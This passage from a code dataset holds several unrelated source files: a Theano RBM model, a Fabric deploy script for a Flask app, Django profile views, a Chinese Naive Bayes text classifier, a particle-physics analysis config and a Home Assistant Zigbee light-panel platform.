zip(gparams, self.params):\n # make sure that the learning rate is of the right dtype\n if param == self.A:\n # slow down autoregressive updates\n updates[param] = param - gparam * 0.01 * \\\n T.cast(lr, dtype=theano.config.floatX)\n else:\n updates[param] = param - gparam * \\\n T.cast(lr, dtype=theano.config.floatX)\n\n # reconstruction error is a better proxy for CD\n monitoring_cost = self.get_reconstruction_cost(updates, nv_means[-1])\n\n return monitoring_cost, updates\n\n def get_reconstruction_cost(self, updates, mean_nv):\n \"\"\"Approximation to the reconstruction error\n \"\"\"\n # sum over input dimension, mean over cases\n recon = T.mean(T.sum(T.sqr(self.input - mean_nv), axis=1))\n return recon\n\n def prediction_measure(self, k=20):\n mean_pred_v, updates = self.generate(k)\n precision = precision_measure(self.input, mean_pred_v)\n recall = recall_measure(self.input, mean_pred_v)\n accuracy = accuracy_measure(self.input, mean_pred_v)\n return precision, recall, accuracy, updates\n\n def generate(self, k=20):\n # Random initialization of the visible units\n input_init = self.theano_rng.binomial(size=self.input.shape,\n n=1,\n p=0.5,\n dtype=theano.config.floatX)\n # compute positive phase\n pre_sigmoid_ph, ph_mean, ph_sample = \\\n self.sample_h_given_v(input_init, self.input_history)\n\n # for CD, we use the newly generate hidden sample\n chain_start = ph_sample\n\n [pre_sigmoid_nvs, nv_means, nv_samples, pre_sigmoid_nhs, nh_means,\n nh_samples], updates = theano.scan(self.gibbs_hvh,\n outputs_info=[None, None, None, None, None, chain_start],\n non_sequences=self.input_history,\n n_steps=k)\n\n mean_pred_v = nv_means[-1]\n\n return mean_pred_v, updates\n\n # def generate(self, orig_data, orig_history, n_samples, n_gibbs=30):\n # \"\"\" Given initialization(s) of visibles and matching history, generate\n # n_samples in future.\n #\n # orig_data : n_seq by n_visibles array\n # initialization for first frame\n # orig_history : n_seq by n_past array\n # delay-step history\n # n_samples : int\n # number of samples to generate forward\n # n_gibbs : int\n # number of alternating Gibbs steps per iteration\"\"\"\n # n_seq = orig_data.shape[0]\n # persistent_vis_chain = theano.shared(orig_data)\n # persistent_history = theano.shared(orig_history)\n #\n # [presig_hids, hid_mfs, hid_samples, vis_mfs, vis_samples], updates = \\\n # theano.scan(crbm.gibbs_vhv,\n # outputs_info=[None, None, None, None,persistent_vis_chain],\n # non_sequences=persistent_history,\n # n_steps=n_gibbs)\n #\n # # add to updates the shared variable that takes care of our persistent\n # # chain\n # # initialize next visible with current visible\n # # shift the history one step forward\n # updates.update({persistent_vis_chain: vis_samples[-1],\n # persistent_history: T.concatenate(\n # (vis_samples[-1],\n # persistent_history[:, :(self.delay - 1) * self.n_visible],),axis=1)\n # })\n # # construct the function that implements our persistent chain.\n # # we generate the \"mean field\" activations for plotting and the actual\n # # samples for reinitializing the state of our persistent chain\n # sample_fn = theano.function([], [vis_mfs[-1], vis_samples[-1]],\n # updates=updates,\n # name='sample_fn')\n #\n # #vis_mf, vis_sample = sample_fn()\n # #print orig_data[:,1:5]\n # #print vis_mf[:,1:5]\n # generated_series = np.empty((n_seq, n_samples, self.n_visible))\n # for t in xrange(n_samples):\n # print \"Generating frame %d\" % t\n # vis_mf, vis_sample = sample_fn()\n # generated_series[:, t, :] = vis_mf\n # return generated_series\n","sub_path":"Code/Models/CRBM/class_def.py","file_name":"class_def.py","file_ext":"py","file_size_in_byte":14481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"561518774","text":"from fabric.api import env, run, put\nfrom fabric.utils import error\nfrom tempfile import NamedTemporaryFile\n\n# env.use_ssh_config = True\n\ndef put_replacehost(local, remote, vars):\n data = open(local, 'r').read().replace('$HOST$', vars['host'])\n with NamedTemporaryFile() as tmp:\n tmp.write(data.encode('utf-8'))\n tmp.flush()\n put(tmp.name, remote)\n\ndef deploy():\n run(\"systemctl stop flask_app\")\n put(\"app.py\", \"/srv/flask_app/app.py\")\n run(\"chown -R www-data:www-data /srv/flask_app/app.py\")\n run(\"chmod -R g+w /srv/flask_app/app.py\")\n run(\"systemctl start flask_app\")\n run(\"systemctl status flask_app -l --no-pager\")\n\ndef setup_server():\n if len(env.hosts) != 1:\n error('Please specify a single server using fab -H setup_server')\n\n vars = {'host' : env.hosts[0].split('@')[-1]}\n print('\\n\\nVARS -> {}\\n\\n'.format(vars))\n run(\"rm -rf /srv/flask_app /srv/log/flask_app\")\n run(\"mkdir -p /srv/flask_app /srv/log/flask_app\")\n run(\"if [ ! -f /usr/local/bin/gunicorn3 ]; then ln -s /usr/bin/gunicorn3 /usr/local/bin/gunicorn3; fi\")\n run(\"chown -R www-data:www-data /srv/flask_app /srv/log/flask_app\")\n put_replacehost(\"nginx_flask_app\", \"/etc/nginx/sites-available/nginx_flask_app\", vars)\n run(\"if [ ! -f /etc/nginx/sites-enabled/nginx_flask_app ]; then ln -s /etc/nginx/sites-available/nginx_flask_app /etc/nginx/sites-enabled/nginx_flask_app; fi\")\n run(\"systemctl restart nginx\")\n put(\"flask_app.service\", \"/etc/systemd/system/flask_app.service\")\n run(\"systemctl daemon-reload\")\n run(\"systemctl enable flask_app.service\")\n deploy()\n\ndef remove_site():\n run('systemctl stop flask_app')\n run('rm /etc/systemd/system/flask_app*')\n run('rm /etc/nginx/sites-available/nginx_flask_app /etc/nginx/sites-enabled/nginx_flask_app')\n run('rm -rf /srv/flask_app /srv/log/flask_app')\n","sub_path":"gunicorn_3_host/fabfile.py","file_name":"fabfile.py","file_ext":"py","file_size_in_byte":1893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"566858597","text":"from django.shortcuts import render, get_object_or_404\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom .models import UserProfile\nfrom .forms import UserProfileForm\n\nfrom checkout.models import Order\n\n# Create your views here.\n\n\n@login_required\ndef profile(request):\n \"\"\" Display the user's profile.\n Args:\n request: HTTP request object\n Returns:\n The user's profile and if the user updates the\n profile correctly they will receive a success message,\n but if the form is invalid they will receive an error message.\n \"\"\"\n\n profile = get_object_or_404(UserProfile, user=request.user)\n\n if request.method == 'POST':\n form = UserProfileForm(request.POST, instance=profile)\n if form.is_valid():\n form.save()\n messages.success(request, 'Profile updated successfully!')\n else:\n messages.error(\n request, 'Update failed. Please ensure the form is valid.')\n else:\n form = UserProfileForm(instance=profile)\n orders = profile.orders.all()\n\n template = 'profiles/profile.html'\n context = {\n 'form': form,\n 'orders': orders,\n 'on_profile_page': True\n }\n\n return render(request, template, context)\n\n\ndef order_history(request, order_number):\n \"\"\" Display the user's order history.\n Args:\n request: HTTP request object\n order_number: order number passed into the funtion\n Returns:\n The order history which will display the previous\n orders of the customer if they are logged in. This will display\n the information relating to the order and can be clicked on to\n see further details.\n \"\"\"\n\n order = get_object_or_404(Order, order_number=order_number)\n\n messages.info(request, (\n f'This is a past confirmation for order number {order_number}.'\n 'A confirmation email was sent on the order date.'\n ))\n\n template = 'checkout/checkout_success.html'\n context = {\n 'order': order,\n 'from_profile': True,\n }\n\n return render(request, template, context)\n","sub_path":"profiles/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"401372307","text":"# coding: utf-8\nimport os\nimport time\nimport random\nimport jieba\nimport sklearn\nfrom sklearn.naive_bayes import MultinomialNB\nimport numpy as np\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom matplotlib import pyplot as plt\nimport pandas as pd\n\n\ndef check_contain_chinese(check_str):\n for ch in check_str:\n if u'\\u4e00' <= ch <= u'\\u9fff':\n return True\n return False\n\n\ndef MakeWordsSet(words_file):\n \"\"\"\n 函数说明:读取文件里的内容,并去重\n Parameters:\n words_file - 文件路径\n Returns:\n words_set - 读取的内容的set集合\n \"\"\"\n words_set = set()\n with open(words_file, 'r', encoding='utf-8') as fp:\n for line in fp.readlines():\n word = line.strip()\n if len(word) > 0 and word not in words_set: # 去重\n words_set.add(word)\n return words_set\n\n\ndef TextProcessing(folder_path, test_size=0.2):\n \"\"\"\n 函数说明:中文文本处理\n Parameters:\n folder_path - 文本存放的路径\n test_size - 测试集占比,默认占所有数据集的百分之20\n Returns:\n all_words_list - 按词频降序排序的训练集列表\n train_data_list - 训练集列表\n test_data_list - 测试集列表\n train_class_list - 训练集标签列表\n test_class_list - 测试集标签列表\n \"\"\"\n folder_list = os.listdir(folder_path)\n data_list = []\n class_list = []\n\n # 类间循环\n for folder in folder_list:\n if folder[0] is not '.':\n new_folder_path = os.path.join(folder_path, folder)\n files = os.listdir(new_folder_path)\n # 类内循环\n j = 1\n for file in files:\n if j > 100: # 每类text样本数最多100\n break\n with open(os.path.join(new_folder_path, file), 'r') as fp:\n raw = fp.read()\n\n word_cut = jieba.cut(raw, cut_all=False) # 精确模式,返回的结构是一个可迭代的genertor\n word_list = list(word_cut) # genertor转化为list,每个词unicode格式\n\n data_list.append(word_list)\n class_list.append(folder)\n j += 1\n\n # 划分训练集和测试集\n data_class_list = list(zip(data_list, class_list))\n random.shuffle(data_class_list)\n index = int(len(data_class_list) * test_size) + 1 # Length of test size\n train_list = data_class_list[index:]\n test_list = data_class_list[:index]\n train_data_list, train_class_list = zip(*train_list)\n test_data_list, test_class_list = zip(*test_list)\n\n # 统计词频放入all_words_dict, 仅统计训练集\n all_words_dict = {}\n for word_list in train_data_list:\n for word in word_list:\n if word in all_words_dict: # wrong\n all_words_dict[word] += 1\n else:\n all_words_dict[word] = 1\n\n # 根据键的值倒序排序,词频从高到低\n all_words_tuple_list = sorted(all_words_dict.items(), key=lambda f: f[1], reverse=True) # 内建函数sorted参数需为list\n all_words_list = list(zip(*all_words_tuple_list))[0]\n\n return all_words_list, train_data_list, test_data_list, train_class_list, test_class_list\n\n\ndef words_dict(all_words_list, deleteN, stopwords_set=set(), max_feature_num=1000):\n \"\"\"\n 函数说明:文本特征选取\n Parameters:\n all_words_list - 训练集所有文本列表\n deleteN - 删除词频最高的deleteN个词\n stopwords_set - 指定的结束语\n Returns:\n feature_words - 特征集\n \"\"\"\n # 选取特征词\n feature_words = []\n n = 1\n\n all_words_list = list(all_words_list)\n for word in all_words_list.copy():\n if not check_contain_chinese(word):\n all_words_list.remove(word)\n\n for t in range(deleteN, len(all_words_list), 1):\n if n > max_feature_num: # feature_words的维度1000\n break\n # 如果这个词不是数字,并且不是指定的结束语,并且单词长度大于1小于5,那么这个词就可以作为feature_word\n if not all_words_list[t].isdigit() and all_words_list[t] not in stopwords_set and 1 < len(\n all_words_list[t]) < 5:\n feature_words.append(all_words_list[t])\n n += 1\n return feature_words\n\n\ndef TextFeatures(train_data_list, test_data_list, feature_words):\n \"\"\"\n 函数说明:根据feature_words将文本向量化\n Parameters:\n train_data_list - 训练集\n test_data_list - 测试集\n feature_words - 特征集\n Returns:\n train_feature_list - 训练集向量化列表\n test_feature_list - 测试集向量化列表\n \"\"\"\n\n def text_features(text, feature_words):\n text_words = set(text)\n features = [1 if word in text_words else 0 for word in feature_words]\n return features\n\n train_feature_list = [text_features(text, feature_words) for text in train_data_list]\n test_feature_list = [text_features(text, feature_words) for text in test_data_list]\n return train_feature_list, test_feature_list\n\n\ndef TextClassifier(train_feature_list, test_feature_list, train_class_list, test_class_list):\n \"\"\"\n 函数说明:分类器\n Parameters:\n train_feature_list - 训练集向量化的特征文本\n test_feature_list - 测试集向量化的特征文本\n train_class_list - 训练集分类标签\n test_class_list - 测试集分类标签\n Returns:\n test_accuracy - 分类器精度\n \"\"\"\n\n \"\"\"\n \n 请编写这部分代码\n\n \"\"\"\n classifier = MultinomialNB()\n classifier.fit(train_feature_list, train_class_list)\n test_accuracy = classifier.score(test_feature_list, test_class_list)\n\n return test_accuracy\n\n\ndef score(delete_n=0, test_size=0.2, max_feature_num=1000, tf_idf=False, sublinear_tf=False):\n \"\"\"\n Run the test once, and return the test accuracy.\n :param delete_n: number of deleted most frequent feature word\n :param test_size: portion of test set size\n :param max_feature_num: max number of feature word\n :return: accuracy\n \"\"\"\n # 文本预处理\n folder_path = './Database/SogouC/Sample'\n all_words_list, train_data_list, test_data_list, train_class_list, test_class_list = TextProcessing(folder_path,\n test_size=\n test_size)\n\n # 生成stopwords_set\n stopwords_file = './stopwords_cn.txt'\n stopwords_set = MakeWordsSet(stopwords_file)\n\n # 文本特征提取和分类\n feature_words = words_dict(all_words_list, delete_n, stopwords_set, max_feature_num=max_feature_num)\n train_feature_list, test_feature_list = TextFeatures(train_data_list, test_data_list, feature_words)\n\n # Transform the feature list\n if tf_idf is True:\n transformer = TfidfTransformer(sublinear_tf=sublinear_tf)\n data = transformer.fit_transform(train_feature_list + test_feature_list)\n train_feature_list, test_feature_list = data[:len(train_feature_list)], data[len(train_feature_list):]\n\n test_accuracy = TextClassifier(train_feature_list, test_feature_list, train_class_list, test_class_list)\n return test_accuracy\n\n\ndef trans():\n delete_range = list(range(80, 151, 10))\n feature_range = list(range(800, 1301, 100))\n df = pd.DataFrame([], index=delete_range, columns=feature_range)\n\n for delete_n in delete_range:\n for feature_n in feature_range:\n df.loc[delete_n, feature_n] = score(delete_n=delete_n, max_feature_num=feature_n,\n tf_idf=False, sublinear_tf=True)\n\n print(df)\n return df\n\n\nif __name__ == '__main__':\n df = trans()\n pass\n","sub_path":"Bayesian/data/贝叶斯模型编程/task2/NBC.py","file_name":"NBC.py","file_ext":"py","file_size_in_byte":7942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"653217937","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport logging\nimport Artus.Utility.logger as logger\nlog = logging.getLogger(__name__)\n\nimport re\nimport json\nimport copy\nimport Artus.Utility.jsonTools as jsonTools\nimport Kappa.Skimming.datasetsHelperTwopz as datasetsHelperTwopz\nimport importlib\nimport os\n\nimport HiggsAnalysis.KITHiggsToTauTau.data.ArtusConfigs.Includes.ArtusConfigUtility as ACU\n\ndef build_config(nickname):\n config = jsonTools.JsonDict()\n datasetsHelper = datasetsHelperTwopz.datasetsHelperTwopz(os.path.expandvars(\"$CMSSW_BASE/src/Kappa/Skimming/data/datasets.json\"))\n \n \n # define frequently used conditions\n isEmbedded = datasetsHelper.isEmbedded(nickname)\n isData = datasetsHelper.isData(nickname) and (not isEmbedded)\n isTTbar = re.search(\"TT(To|_|Jets)\", nickname)\n isDY = re.search(\"(DY.?JetsToLL|EWKZ2Jets)\", nickname)\n isWjets = re.search(\"W.?JetsToLNu\", nickname)\n \n \n ## fill config:\n # includes\n includes = [\n \"HiggsAnalysis.KITHiggsToTauTau.data.ArtusConfigs.Run2Analysis.Includes.settingsLooseElectronID\",\n \"HiggsAnalysis.KITHiggsToTauTau.data.ArtusConfigs.Run2Analysis.Includes.settingsLooseMuonID\",\n \"HiggsAnalysis.KITHiggsToTauTau.data.ArtusConfigs.Run2Analysis.Includes.settingsElectronID\",\n \"HiggsAnalysis.KITHiggsToTauTau.data.ArtusConfigs.Run2Analysis.Includes.settingsVetoElectronID\",\n \"HiggsAnalysis.KITHiggsToTauTau.data.ArtusConfigs.Run2Analysis.Includes.settingsMuonID\",\n \"HiggsAnalysis.KITHiggsToTauTau.data.ArtusConfigs.Run2Analysis.Includes.settingsTauID\",\n \"HiggsAnalysis.KITHiggsToTauTau.data.ArtusConfigs.Run2Analysis.Includes.settingsJEC\",\n \"HiggsAnalysis.KITHiggsToTauTau.data.ArtusConfigs.Run2Analysis.Includes.settingsJetID\",\n \"HiggsAnalysis.KITHiggsToTauTau.data.ArtusConfigs.Run2Analysis.Includes.settingsBTaggedJetID\",\n \"HiggsAnalysis.KITHiggsToTauTau.data.ArtusConfigs.Run2Analysis.Includes.settingsMinimalPlotlevelFilter_ee\"\n #\"HiggsAnalysis.KITHiggsToTauTau.data.ArtusConfigs.Run2Analysis.Includes.settingsJECUncertaintySplit\",\n #\"HiggsAnalysis.KITHiggsToTauTau.data.ArtusConfigs.Run2Analysis.Includes.settingsSvfit\",\n #\"HiggsAnalysis.KITHiggsToTauTau.data.ArtusConfigs.Includes.settingsMVATestMethods\"\n ]\n for include_file in includes:\n analysis_config_module = importlib.import_module(include_file)\n config += analysis_config_module.build_config(nickname)\n \n # explicit configuration\n config[\"Channel\"] = \"EE\"\n config[\"MinNElectrons\"] = 2\n # The first path must be the single lepton trigger. A corresponding Pt cut is implemented in the Run2DecayChannelProducer.\n if isEmbedded: config[\"HltPaths\"] = [\n \"\"]\n else: config[\"HltPaths\"] = [\n \"HLT_Ele25_eta2p1_WPTight_Gsf\"]\n config[\"HLTBranchNames\"] = [\"trg_singleelectron:HLT_Ele25_eta2p1_WPTight_Gsf_v\"]\n config[\"NoHltFiltering\"] = True if isEmbedded else False\n \n config[\"TauID\"] = \"TauIDRecommendation13TeV\"\n config[\"TauUseOldDMs\"] = False\n config[\"ElectronLowerPtCuts\"] = [\"13.0\"]\n config[\"ElectronUpperAbsEtaCuts\"] = [\"2.5\"]\n config[\"DeltaRTriggerMatchingElectrons\"] = 0.4\n config[\"DiTauPairMinDeltaRCut\"] = 0.3\n if re.search(\"Run2016|Summer16\", nickname): config[\"DiTauPairHltPathsWithoutCommonMatchRequired\"] = [\n \"HLT_Ele25_eta2p1_WPTight_Gsf_v\"]\n \n config[\"DiTauPairLepton1LowerPtCuts\"] = [\"HLT_Ele25_eta2p1_WPTight_Gsf_v:26.0\", \"HLT_Ele25_eta2p1_WPTight_Gsf_v:26.0\"]\n #config[\"DiTauPairLepton2LowerPtCuts\"] = [\"HLT_Mu8_TrkIsoVVL_Ele23_CaloIdL_TrackIdL_IsoVL_v:24.0\"]\n \n config[\"DiTauPairNoHLT\"] = False\n config[\"EventWeight\"] = \"eventWeight\"\n config[\"RooWorkspace\"] = \"$CMSSW_BASE/src/HiggsAnalysis/KITHiggsToTauTau/data/root/scaleFactorWeights/htt_scalefactors_sm_moriond_v2.root\"\n config[\"RooWorkspaceWeightNames\"] = [\n \"0:idIsoWeight\",\n \"1:idIsoWeight\"\n ]\n config[\"RooWorkspaceObjectNames\"] = [\n \"0:e_idiso0p1_desy_ratio\",\n \"1:e_idiso0p1_desy_ratio\"\n ]\n config[\"RooWorkspaceObjectArguments\"] = [\n \"0:e_pt,e_eta\",\n \"1:e_pt,e_eta\"\n ]\n \n config[\"EETriggerWeightWorkspace\"] = \"$CMSSW_BASE/src/HiggsAnalysis/KITHiggsToTauTau/data/root/scaleFactorWeights/htt_scalefactors_sm_moriond_v2.root\"\n config[\"EETriggerWeightWorkspaceWeightNames\"] = [\n \"0:triggerWeight\",\n \"1:triggerWeight\"\n ]\n config[\"EETriggerWeightWorkspaceObjectNames\"] = [\n \"0:e_trgEle25eta2p1WPTight_desy_ratio\",\n \"1:e_trgEle25eta2p1WPTight_desy_ratio\"\n ]\n config[\"EETriggerWeightWorkspaceObjectArguments\"] = [\n \"0:e_pt,e_eta\",\n \"1:e_pt,e_eta\"\n ]\n #config[\"TriggerEfficiencyData\"] = []\n '''\n config[\"TriggerEfficiencyMc\"] = [\n \"0:$CMSSW_BASE/src/HiggsAnalysis/KITHiggsToTauTau/data/root/triggerWeights/triggerEfficiency_dummy.root\",\n \"0:$CMSSW_BASE/src/HiggsAnalysis/KITHiggsToTauTau/data/root/triggerWeights/triggerEfficiency_dummy.root\",\n \"1:$CMSSW_BASE/src/HiggsAnalysis/KITHiggsToTauTau/data/root/triggerWeights/triggerEfficiency_dummy.root\",\n \"1:$CMSSW_BASE/src/HiggsAnalysis/KITHiggsToTauTau/data/root/triggerWeights/triggerEfficiency_dummy.root\"]\n config[\"IdentificationEfficiencyData\"] = [\n \"0:$CMSSW_BASE/src/HiggsAnalysis/KITHiggsToTauTau/data/root/identificationWeights/identificationEfficiency_Run2016_Muon_IdIso_IsoLt0p15_2016BtoH_eff.root\",\n \"1:$CMSSW_BASE/src/HiggsAnalysis/KITHiggsToTauTau/data/root/identificationWeights/identificationEfficiency_Run2016_Muon_IdIso_IsoLt0p15_2016BtoH_eff.root\"]\n config[\"IdentificationEfficiencyMc\"] = [\n \"0:$CMSSW_BASE/src/HiggsAnalysis/KITHiggsToTauTau/data/root/identificationWeights/identificationEfficiency_MC_Muon_IdIso_IsoLt0p15_2016BtoH_eff.root\",\n \"1:$CMSSW_BASE/src/HiggsAnalysis/KITHiggsToTauTau/data/root/identificationWeights/identificationEfficiency_MC_Muon_IdIso_IsoLt0p15_2016BtoH_eff.root\"]\n '''\n config[\"IdentificationEfficiencyMode\"] = \"multiply_weights\"\n config[\"TauTauRestFrameReco\"] = \"collinear_approximation\"\n config[\"TriggerEfficiencyMode\"] = \"correlate_triggers\"\n \n if re.search(\"Run2016|Summer16\", nickname):\n config[\"ElectronTriggerFilterNames\"] = [\n \"HLT_Ele25_eta2p1_WPTight_Gsf_v:hltEle25erWPTightGsfTrackIsoFilter\"]\n \n config[\"InvalidateNonMatchingElectrons\"] = True\n config[\"InvalidateNonMatchingMuons\"] = False\n config[\"InvalidateNonMatchingTaus\"] = False\n config[\"InvalidateNonMatchingJets\"] = False\n config[\"DirectIso\"] = True\n \n config[\"Quantities\"] = importlib.import_module(\"HiggsAnalysis.KITHiggsToTauTau.data.ArtusConfigs.Run2Analysis.Includes.fourVectorQuantities\").build_list()\n config[\"Quantities\"].extend(importlib.import_module(\"HiggsAnalysis.KITHiggsToTauTau.data.ArtusConfigs.Run2Analysis.Includes.syncQuantities\").build_list())\n #config[\"Quantities\"].extend(importlib.import_module(\"HiggsAnalysis.KITHiggsToTauTau.data.ArtusConfigs.Run2Analysis.Includes.svfitSyncQuantities\").build_list())\n #config[\"Quantities\"].extend(importlib.import_module(\"HiggsAnalysis.KITHiggsToTauTau.data.ArtusConfigs.Run2Analysis.Includes.splitJecUncertaintyQuantities\").build_list())\n config[\"Quantities\"].extend(importlib.import_module(\"HiggsAnalysis.KITHiggsToTauTau.data.ArtusConfigs.Includes.weightQuantities\").build_list())\n config[\"Quantities\"].extend([\n \"nLooseElectrons\",\n \"nLooseMuons\",\n \"nDiTauPairCandidates\",\n \"nAllDiTauPairCandidates\",\n \"trg_singleelectron\",\n \"lep1ErrD0\",\n \"lep1ErrDz\",\n \"lep2ErrD0\",\n \"lep2ErrDz\"\n ])\n \n config[\"OSChargeLeptons\"] = True\n \n \n config[\"Processors\"] = [ \"producer:HltProducer\",\n \"filter:HltFilter\",\n \"producer:MetSelector\",\n \"producer:ElectronCorrectionsProducer\",\n \"producer:ValidElectronsProducer\",\n \"filter:ValidElectronsFilter\",\n \"producer:ElectronTriggerMatchingProducer\",\n \"filter:MinElectronsCountFilter\",\n \"producer:ValidMuonsProducer\",\n \"producer:ValidTausProducer\",\n \"producer:ValidEEPairCandidatesProducer\",\n \"filter:ValidDiTauPairCandidatesFilter\",\n \"producer:HttValidLooseElectronsProducer\",\n \"producer:HttValidLooseMuonsProducer\",\n \"producer:Run2DecayChannelProducer\",\n \"producer:TaggedJetCorrectionsProducer\",\n \"producer:ValidTaggedJetsProducer\",\n \"producer:ValidBTaggedJetsProducer\"]\n #\"producer:TaggedJetUncertaintyShiftProducer\"]\n if not isData: config[\"Processors\"].append( \"producer:MetCorrector\") #\"producer:MvaMetCorrector\"\n config[\"Processors\"].extend(( \"producer:TauTauRestFrameSelector\",\n \"producer:DiLeptonQuantitiesProducer\",\n \"producer:DiJetQuantitiesProducer\"))\n if isTTbar: config[\"Processors\"].append( \"producer:TopPtReweightingProducer\")\n if isDY: config[\"Processors\"].append( \"producer:ZPtReweightProducer\")\n config[\"Processors\"].append( \"filter:MinimalPlotlevelFilter\")\n #\"producer:SvfitProducer\")) #\"producer:MVATestMethodsProducer\"\n if not isData: config[\"Processors\"].extend((\"producer:IdentificationWeightProducer\",\n \"producer:EETriggerWeightProducer\",\n #\"producer:TriggerWeightProducer\",\n \"producer:RooWorkspaceWeightProducer\"))\n config[\"Processors\"].append( \"producer:EventWeightProducer\")\n \n \n config[\"AddGenMatchedParticles\"] = True\n config[\"BranchGenMatchedElectrons\"] = True\n config[\"Consumers\"] = [\"KappaLambdaNtupleConsumer\",\n \"cutflow_histogram\"]\n #\"SvfitCacheConsumer\"]\n #\"CutFlowTreeConsumer\",\n #\"KappaElectronsConsumer\",\n #\"KappaTausConsumer\",\n #\"KappaTaggedJetsConsumer\",\n #\"RunTimeConsumer\",\n #\"PrintEventsConsumer\"\n \n \n # pipelines - systematic shifts\n return ACU.apply_uncertainty_shift_configs('ee', config, importlib.import_module(\"HiggsAnalysis.KITHiggsToTauTau.data.ArtusConfigs.Run2Analysis.nominal\").build_config(nickname))\n","sub_path":"python/data/ArtusConfigs/Run2Analysis/ee.py","file_name":"ee.py","file_ext":"py","file_size_in_byte":11334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"320533236","text":"import logging\r\nimport json\r\nimport voluptuous as vol\r\n\r\n# Import the device class from the component that you want to support\r\nfrom homeassistant.components.light import ATTR_BRIGHTNESS, Light, PLATFORM_SCHEMA\r\nfrom polyhome import JSONEncoder\r\nimport homeassistant.helpers.config_validation as cv\r\n\r\n_LOGGER = logging.getLogger(__name__)\r\n\r\nDOMAIN = 'polylightpanel3'\r\nEVENT_MQTT_RECV = 'poly_mqtt_json'\r\nPOLY_ZIGBEE_DOMAIN = 'poly_zb_uart'\r\nPOLY_ZIGBEE_SERVICE = 'send_d'\r\nEVENT_ZIGBEE_RECV = 'zigbee_data_event'\r\n\r\n# 0x80,0x0,0xb4,0x53,0x6,0x44,0xb4,0x53,0x60,0x1,0x1,0xa2\r\nCMD_OPEN = [0x80, 0x00, 0x46, 0xb1, 0x7, 0x44, 0xd, 0x7, 0x61, 0x0, 0x1, 0x1, 0xa2]\r\nCMD_CLOSE = [0x80, 0x00, 0x46, 0xb1, 0x7, 0x44, 0xd, 0x7, 0x61, 0x0, 0x1, 0x0, 0xa3]\r\n\r\n# Validation of the user's configuration\r\nPLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({\r\n vol.Optional('name'): cv.string\r\n})\r\n\r\n\r\ndef setup_platform(hass, config, add_devices, discovery_info=None):\r\n \"\"\"Setup the Polyhome LightPanel3 platform.\"\"\"\r\n\r\n lights = []\r\n if discovery_info is not None:\r\n # Not using hostname, as it seems to vary.\r\n device = {'name': discovery_info['name'] + '1', 'mac': discovery_info['mac'], 'way': 1}\r\n lights.append(PolyLightPanel(hass, device, None))\r\n device1 = {'name': discovery_info['name'] + '2', 'mac': discovery_info['mac'], 'way': 2}\r\n lights.append(PolyLightPanel(hass, device1, None))\r\n device2 = {'name': discovery_info['name'] + '3', 'mac': discovery_info['mac'], 'way': 3}\r\n lights.append(PolyLightPanel(hass, device2, None))\r\n else:\r\n for mac, device_config in config['devices'].items():\r\n device = {'name': device_config['name'] + '1', 'mac': mac, 'way': 1}\r\n device1 = {'name': device_config['name'] + '2', 'mac': mac, 'way': 2}\r\n device2 = {'name': device_config['name'] + '3', 'mac': mac, 'way': 3}\r\n lights.append(PolyLightPanel(hass, device, device_config))\r\n lights.append(PolyLightPanel(hass, device1, device_config))\r\n lights.append(PolyLightPanel(hass, device2, device_config))\r\n\r\n add_devices(lights, True)\r\n\r\n def event_zigbee_recv_handler(event):\r\n \"\"\"Listener to handle fired events\"\"\"\r\n bytearr = event.data.get('data')\r\n \"\"\" '0xa0', '0xb3', '0x4f', '0x50', '0x11', '0x32', '0x4f', '0x50', '0x70', '0x1', \r\n '0x1', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x40'\r\n \"\"\"\r\n if bytearr[0] == '0xa0' and bytearr[8] == '0x73' and bytearr[9] == '0x26':\r\n \"\"\"'0xa0', '0xc3', '0x46', '0xb1', '0xa', '0x53', '0x46', '0xb1', \r\n '0x73', '0x26', '0xd', '0x7', '0x0', '0x0', '0x0', '0x62'\r\n \"\"\"\r\n mac_l, mac_h = bytearr[10].replace('0x', ''), bytearr[11].replace('0x', '')\r\n dev_mac = mac_l + '#' + mac_h\r\n for dev in lights:\r\n if dev_mac in dev.mac:\r\n mac_l, mac_h = bytearr[2].replace('0x', ''), bytearr[3].replace('0x', '')\r\n mac_str = mac_l + '#' + mac_h\r\n dev.set_router(mac_str)\r\n if dev.way == 1 and bytearr[-4] == '0x1':\r\n dev.set_state(True)\r\n if dev.way == 1 and bytearr[-4] == '0x0':\r\n dev.set_state(False)\r\n if dev.way == 2 and bytearr[-3] == '0x1':\r\n dev.set_state(True)\r\n if dev.way == 2 and bytearr[-3] == '0x0':\r\n dev.set_state(False)\r\n if dev.way == 3 and bytearr[-2] == '0x1':\r\n dev.set_state(True)\r\n if dev.way == 3 and bytearr[-2] == '0x0':\r\n dev.set_state(False)\r\n if bytearr[0] == '0xa0' and bytearr[8] == '0x72':\r\n \"\"\"0xa0', '0xc7', '0x46', '0xb1', '0x7', '0x53', '0xd', \r\n '0x7', '0x72', '0x0', '0x1', '0x1', '0xbc'\r\n \"\"\"\r\n mac_l, mac_h = bytearr[6].replace('0x', ''), bytearr[7].replace('0x', '')\r\n mac_str = mac_l + '#' + mac_h\r\n for dev in lights:\r\n if mac_str in dev.mac:\r\n dev.set_available(False)\r\n if bytearr[0] == '0xa0' and bytearr[5] == '0x26' and bytearr[8] == '0x79':\r\n \"\"\"panel trigger\"\"\"\r\n mac_l, mac_h = bytearr[6].replace('0x',''), bytearr[7].replace('0x','')\r\n mac_str = mac_l + '#' + mac_h\r\n dev = next((dev for dev in lights if dev.mac == mac_str), None)\r\n if dev is not None:\r\n dev.set_available(True)\r\n if bytearr[9] == '0x1':\r\n dev.trigger('1')\r\n if bytearr[9] == '0x2':\r\n dev.trigger('2')\r\n\r\n # Listen for when zigbee_data_event is fired\r\n hass.bus.listen(EVENT_ZIGBEE_RECV, 